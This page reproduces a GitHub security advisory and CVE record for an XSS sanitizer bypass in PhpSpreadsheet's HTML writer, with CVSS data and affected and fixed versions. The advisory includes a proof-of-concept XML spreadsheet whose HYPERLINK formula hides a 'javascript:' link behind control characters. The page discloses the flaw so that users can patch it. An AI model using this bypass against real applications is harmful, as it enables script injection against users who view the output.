GHSA-R57H-547H-W24F

Vulnerability from github – Published: 2025-02-03 15:39 – Updated: 2025-03-06 18:22

Summary

PhpSpreadsheet allows bypassing of XSS sanitizer using the javascript protocol and special characters

Details

Product: PhpSpreadsheet Version: 3.8.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) CVSS vector v.4.0: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) Description: an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link Impact: executing arbitrary JavaScript code in the browser Vulnerable component: class PhpOffice\PhpSpreadsheet\Writer\Html, method generateRow Exploitation conditions: a user viewing a specially generated xml file Mitigation: additional sanitization of special characters in a string Researcher: Igor Sak-Sakovskiy (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet. The following code is written on the server, which translates the XML file into an HTML representation and displays it in the response.

Listing 4. Source code on the server

<?php

require __DIR__ . '/vendor/autoload.php';

$inputFileType = 'Xml';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);  

$inputFileName = './doc/file.xml';
$spreadsheet = $reader->load($inputFileName); 

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); 
print($writer->generateHTMLAll());

The contents of the xml file - ./doc/file.xml

Listing 5. The contents of the xml file

<?xml version="1.0"?> 
<?mso-application progid="Excel.Sheet"?> 
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet" 
 xmlns:o="urn:schemas-microsoft-com:office:office" 
 xmlns:x="urn:schemas-microsoft-com:office:excel" 
 xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet" 
 xmlns:html="http://www.w3.org/TR/REC-html40"> 
 <DocumentProperties xmlns="urn:schemas-microsoft-com:office:office"> 
  <Author>author</Author> 
  <LastAuthor>author</LastAuthor> 
  <Created>2015-06-05T18:19:34Z</Created> 
  <LastSaved>2024-12-25T10:16:07Z</LastSaved> 
  <Version>16.00</Version> 
 </DocumentProperties> 
 <OfficeDocumentSettings xmlns="urn:schemas-microsoft-com:office:office"> 
  <AllowPNG/> 
 </OfficeDocumentSettings> 
 <ExcelWorkbook xmlns="urn:schemas-microsoft-com:office:excel"> 
  <WindowHeight>11020</WindowHeight> 
  <WindowWidth>19420</WindowWidth> 
  <WindowTopX>32767</WindowTopX> 
  <WindowTopY>32767</WindowTopY> 
  <ProtectStructure>False</ProtectStructure> 
  <ProtectWindows>False</ProtectWindows> 
 </ExcelWorkbook> 
 <Styles> 
  <Style ss:ID="Default" ss:Name="Normal"> 
   <Alignment ss:Vertical="Bottom"/> 
   <Borders/> 
   <Font ss:FontName="Calibri" x:Family="Swiss" ss:Size="11" ss:Color="#000000"/> 
   <Interior/> 
   <NumberFormat/> 
   <Protection/> 
  </Style> 
  <Style ss:ID="s16"> 
   <NumberFormat ss:Format="General Date"/> 
  </Style> 
 </Styles> 
 <Worksheet ss:Name="Лист1"> 
  <Table ss:ExpandedColumnCount="2" ss:ExpandedRowCount="6" x:FullColumns="1" 
   x:FullRows="1" ss:DefaultRowHeight="14.5"> 
   <Column ss:AutoFitWidth="0" ss:Width="194"/> 
   <Row> 
     <Cell ss:Formula="=HYPERLINK (CHAR(20) &amp; &quot;j&quot; &amp; CHAR(13) &amp; &quot;avascript:alert(1)&quot;)"><Data ss:Type="String"></Data></Cell> 
   </Row> 
  </Table> 
  <WorksheetOptions xmlns="urn:schemas-microsoft-com:office:excel"> 
   <PageSetup> 
    <Header x:Margin="0.3"/> 
    <Footer x:Margin="0.3"/> 
    <PageMargins x:Bottom="0.75" x:Left="0.7" x:Right="0.7" x:Top="0.75"/> 
   </PageSetup> 
   <Selected/> 
   <TopRowVisible>1</TopRowVisible> 
   <Panes> 
    <Pane> 
     <Number>3</Number> 
     <ActiveRow>6</ActiveRow> 
    </Pane> 
   </Panes> 
   <ProtectObjects>False</ProtectObjects> 
   <ProtectScenarios>False</ProtectScenarios> 
  </WorksheetOptions> 
 </Worksheet>
</Workbook>

Due to the load with a special character in front of the javascript protocol, the execution flow hits line 1595, not 1593.

Figure 4. Generating a link bypassing a regular expression fig4

In the response from the server, you can see which special character is located in front of the javascript protocol after conversion.

Figure 5. Response from the server with a special character fig5

When viewing the rendered result, a link becomes visible in the browser, and when clicked, the embedded JavaScript code will be executed.

Figure 6. Executing JavaScript code fig6

Credit

Igor Sak-Sakovskiy (Positive Technologies)

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

4.8 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.29.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.3.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpexcel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-23210"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-03T15:39:31Z",
    "nvd_published_at": "2025-02-03T22:15:28Z",
    "severity": "MODERATE"
  },
  "details": "**Product:** PhpSpreadsheet\n**Version:** 3.8.0\n**CWE-ID:** CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)\n**CVSS vector v.3.1:** 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)\n**CVSS vector v.4.0:** 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N)\n**Description:** an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link\n**Impact:** executing arbitrary JavaScript code in the browser\n**Vulnerable component:** class `PhpOffice\\PhpSpreadsheet\\Writer\\Html`, method `generateRow`\n**Exploitation conditions:** a user viewing a specially generated xml file\n**Mitigation:** additional sanitization of special characters in a string\n**Researcher: Igor Sak-Sakovskiy (Positive Technologies)**\n\n# Research\n\nThe researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet.\nThe following code is written on the server, which translates the XML file into an HTML representation and displays it in the response.\n\n*Listing 4. Source code on the server*\n\n```\n\u003c?php\n\nrequire __DIR__ . \u0027/vendor/autoload.php\u0027;\n\n$inputFileType = \u0027Xml\u0027;\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader($inputFileType);  \n\n$inputFileName = \u0027./doc/file.xml\u0027;\n$spreadsheet = $reader-\u003eload($inputFileName); \n \n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet); \nprint($writer-\u003egenerateHTMLAll());\n```\nThe contents of the xml file - `./doc/file.xml`\n\n*Listing 5. The contents of the xml file*\n```\n\u003c?xml version=\"1.0\"?\u003e \n\u003c?mso-application progid=\"Excel.Sheet\"?\u003e \n\u003cWorkbook xmlns=\"urn:schemas-microsoft-com:office:spreadsheet\" \n xmlns:o=\"urn:schemas-microsoft-com:office:office\" \n xmlns:x=\"urn:schemas-microsoft-com:office:excel\" \n xmlns:ss=\"urn:schemas-microsoft-com:office:spreadsheet\" \n xmlns:html=\"http://www.w3.org/TR/REC-html40\"\u003e \n \u003cDocumentProperties xmlns=\"urn:schemas-microsoft-com:office:office\"\u003e \n  \u003cAuthor\u003eauthor\u003c/Author\u003e \n  \u003cLastAuthor\u003eauthor\u003c/LastAuthor\u003e \n  \u003cCreated\u003e2015-06-05T18:19:34Z\u003c/Created\u003e \n  \u003cLastSaved\u003e2024-12-25T10:16:07Z\u003c/LastSaved\u003e \n  \u003cVersion\u003e16.00\u003c/Version\u003e \n \u003c/DocumentProperties\u003e \n \u003cOfficeDocumentSettings xmlns=\"urn:schemas-microsoft-com:office:office\"\u003e \n  \u003cAllowPNG/\u003e \n \u003c/OfficeDocumentSettings\u003e \n \u003cExcelWorkbook xmlns=\"urn:schemas-microsoft-com:office:excel\"\u003e \n  \u003cWindowHeight\u003e11020\u003c/WindowHeight\u003e \n  \u003cWindowWidth\u003e19420\u003c/WindowWidth\u003e \n  \u003cWindowTopX\u003e32767\u003c/WindowTopX\u003e \n  \u003cWindowTopY\u003e32767\u003c/WindowTopY\u003e \n  \u003cProtectStructure\u003eFalse\u003c/ProtectStructure\u003e \n  \u003cProtectWindows\u003eFalse\u003c/ProtectWindows\u003e \n \u003c/ExcelWorkbook\u003e \n \u003cStyles\u003e \n  \u003cStyle ss:ID=\"Default\" ss:Name=\"Normal\"\u003e \n   \u003cAlignment ss:Vertical=\"Bottom\"/\u003e \n   \u003cBorders/\u003e \n   \u003cFont ss:FontName=\"Calibri\" x:Family=\"Swiss\" ss:Size=\"11\" ss:Color=\"#000000\"/\u003e \n   \u003cInterior/\u003e \n   \u003cNumberFormat/\u003e \n   \u003cProtection/\u003e \n  \u003c/Style\u003e \n  \u003cStyle ss:ID=\"s16\"\u003e \n   \u003cNumberFormat ss:Format=\"General Date\"/\u003e \n  \u003c/Style\u003e \n \u003c/Styles\u003e \n \u003cWorksheet ss:Name=\"\u041b\u0438\u0441\u04421\"\u003e \n  \u003cTable ss:ExpandedColumnCount=\"2\" ss:ExpandedRowCount=\"6\" x:FullColumns=\"1\" \n   x:FullRows=\"1\" ss:DefaultRowHeight=\"14.5\"\u003e \n   \u003cColumn ss:AutoFitWidth=\"0\" ss:Width=\"194\"/\u003e \n   \u003cRow\u003e \n     \u003cCell ss:Formula=\"=HYPERLINK (CHAR(20) \u0026amp; \u0026quot;j\u0026quot; \u0026amp; CHAR(13) \u0026amp; \u0026quot;avascript:alert(1)\u0026quot;)\"\u003e\u003cData ss:Type=\"String\"\u003e\u003c/Data\u003e\u003c/Cell\u003e \n   \u003c/Row\u003e \n  \u003c/Table\u003e \n  \u003cWorksheetOptions xmlns=\"urn:schemas-microsoft-com:office:excel\"\u003e \n   \u003cPageSetup\u003e \n    \u003cHeader x:Margin=\"0.3\"/\u003e \n    \u003cFooter x:Margin=\"0.3\"/\u003e \n    \u003cPageMargins x:Bottom=\"0.75\" x:Left=\"0.7\" x:Right=\"0.7\" x:Top=\"0.75\"/\u003e \n   \u003c/PageSetup\u003e \n   \u003cSelected/\u003e \n   \u003cTopRowVisible\u003e1\u003c/TopRowVisible\u003e \n   \u003cPanes\u003e \n    \u003cPane\u003e \n     \u003cNumber\u003e3\u003c/Number\u003e \n     \u003cActiveRow\u003e6\u003c/ActiveRow\u003e \n    \u003c/Pane\u003e \n   \u003c/Panes\u003e \n   \u003cProtectObjects\u003eFalse\u003c/ProtectObjects\u003e \n   \u003cProtectScenarios\u003eFalse\u003c/ProtectScenarios\u003e \n  \u003c/WorksheetOptions\u003e \n \u003c/Worksheet\u003e\n\u003c/Workbook\u003e\n```\n\nDue to the load with a special character in front of the javascript protocol, the execution flow hits line 1595, not 1593.\n \n*Figure 4. Generating a link bypassing a regular expression*\n![fig4](https://github.com/user-attachments/assets/9bd2299d-9045-4cab-b3a5-cbcaf3bbe23c)\n\nIn the response from the server, you can see which special character is located in front of the javascript protocol after conversion.\n \n*Figure 5. Response from the server with a special character*\n![fig5](https://github.com/user-attachments/assets/3fecbd9b-b08e-4797-9f5d-06911f857059)\n\nWhen viewing the rendered result, a link becomes visible in the browser, and when clicked, the embedded JavaScript code will be executed.\n\n*Figure 6. Executing JavaScript code*\n\u003cimg width=\"595\" alt=\"fig6\" src=\"https://github.com/user-attachments/assets/b8ff1aeb-ba3b-49c1-a3b4-9e2cc1fc52d1\" /\u003e\n_____________________________________________\n\n## Credit\n\nIgor Sak-Sakovskiy (Positive Technologies)",
  "id": "GHSA-r57h-547h-w24f",
  "modified": "2025-03-06T18:22:55Z",
  "published": "2025-02-03T15:39:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-r57h-547h-w24f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23210"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/cde2926a9e2baf146783f8fd1771bbed7d1dc7b3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PhpSpreadsheet allows bypassing of XSS sanitizer using the javascript protocol and special characters"
}

CVE-2025-23210 (GCVE-0-2025-23210)

Vulnerability from cvelistv5 – Published: 2025-02-03 21:14 – Updated: 2025-02-04 15:33

Title

Bypass XSS sanitizer using the javascript protocol and special characters in phpoffice/phpspreadsheet

Summary

phpoffice/phpspreadsheet is a pure PHP library for reading and writing spreadsheet files. Affected versions have been found to have a Bypass of the Cross-site Scripting (XSS) sanitizer using the javascript protocol and special characters. This issue has been addressed in versions 3.9.0, 2.3.7, 2.1.8, and 1.29.9. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Severity

4.8 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-02-04 15:33 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7868 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/PHPOffice/PhpSpreadsheet/secur…	x_refsource_CONFIRM
https://github.com/PHPOffice/PhpSpreadsheet/commi…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
PHPOffice	PhpSpreadsheet	Affected: >= 3.0.0, < 3.9.0 Affected: >= 2.2.0, < 2.3.7 Affected: >= 2.0.0, < 2.1.8 Affected: < 1.29.9

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JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-23210",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-02-04T15:33:22.331092Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-02-04T15:33:39.661Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "PhpSpreadsheet",
          "vendor": "PHPOffice",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.0.0, \u003c 3.9.0"
            },
            {
              "status": "affected",
              "version": "\u003e= 2.2.0, \u003c 2.3.7"
            },
            {
              "status": "affected",
              "version": "\u003e= 2.0.0, \u003c 2.1.8"
            },
            {
              "status": "affected",
              "version": "\u003c 1.29.9"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "phpoffice/phpspreadsheet is a pure PHP library for reading and writing spreadsheet files. Affected versions have been found to have a Bypass of the Cross-site Scripting (XSS) sanitizer using the javascript protocol and special characters. This issue has been addressed in versions 3.9.0, 2.3.7, 2.1.8, and 1.29.9. Users are advised to upgrade. There are no known workarounds for this vulnerability."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 4.8,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "LOW",
            "subIntegrityImpact": "LOW",
            "userInteraction": "ACTIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "LOW",
            "vulnIntegrityImpact": "LOW"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-02-03T21:14:57.255Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-r57h-547h-w24f",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-r57h-547h-w24f"
        },
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/commit/cde2926a9e2baf146783f8fd1771bbed7d1dc7b3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/cde2926a9e2baf146783f8fd1771bbed7d1dc7b3"
        }
      ],
      "source": {
        "advisory": "GHSA-r57h-547h-w24f",
        "discovery": "UNKNOWN"
      },
      "title": "Bypass XSS sanitizer using the javascript protocol and special characters in phpoffice/phpspreadsheet"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-23210",
    "datePublished": "2025-02-03T21:14:57.255Z",
    "dateReserved": "2025-01-13T17:15:41.051Z",
    "dateUpdated": "2025-02-04T15:33:39.661Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

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The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

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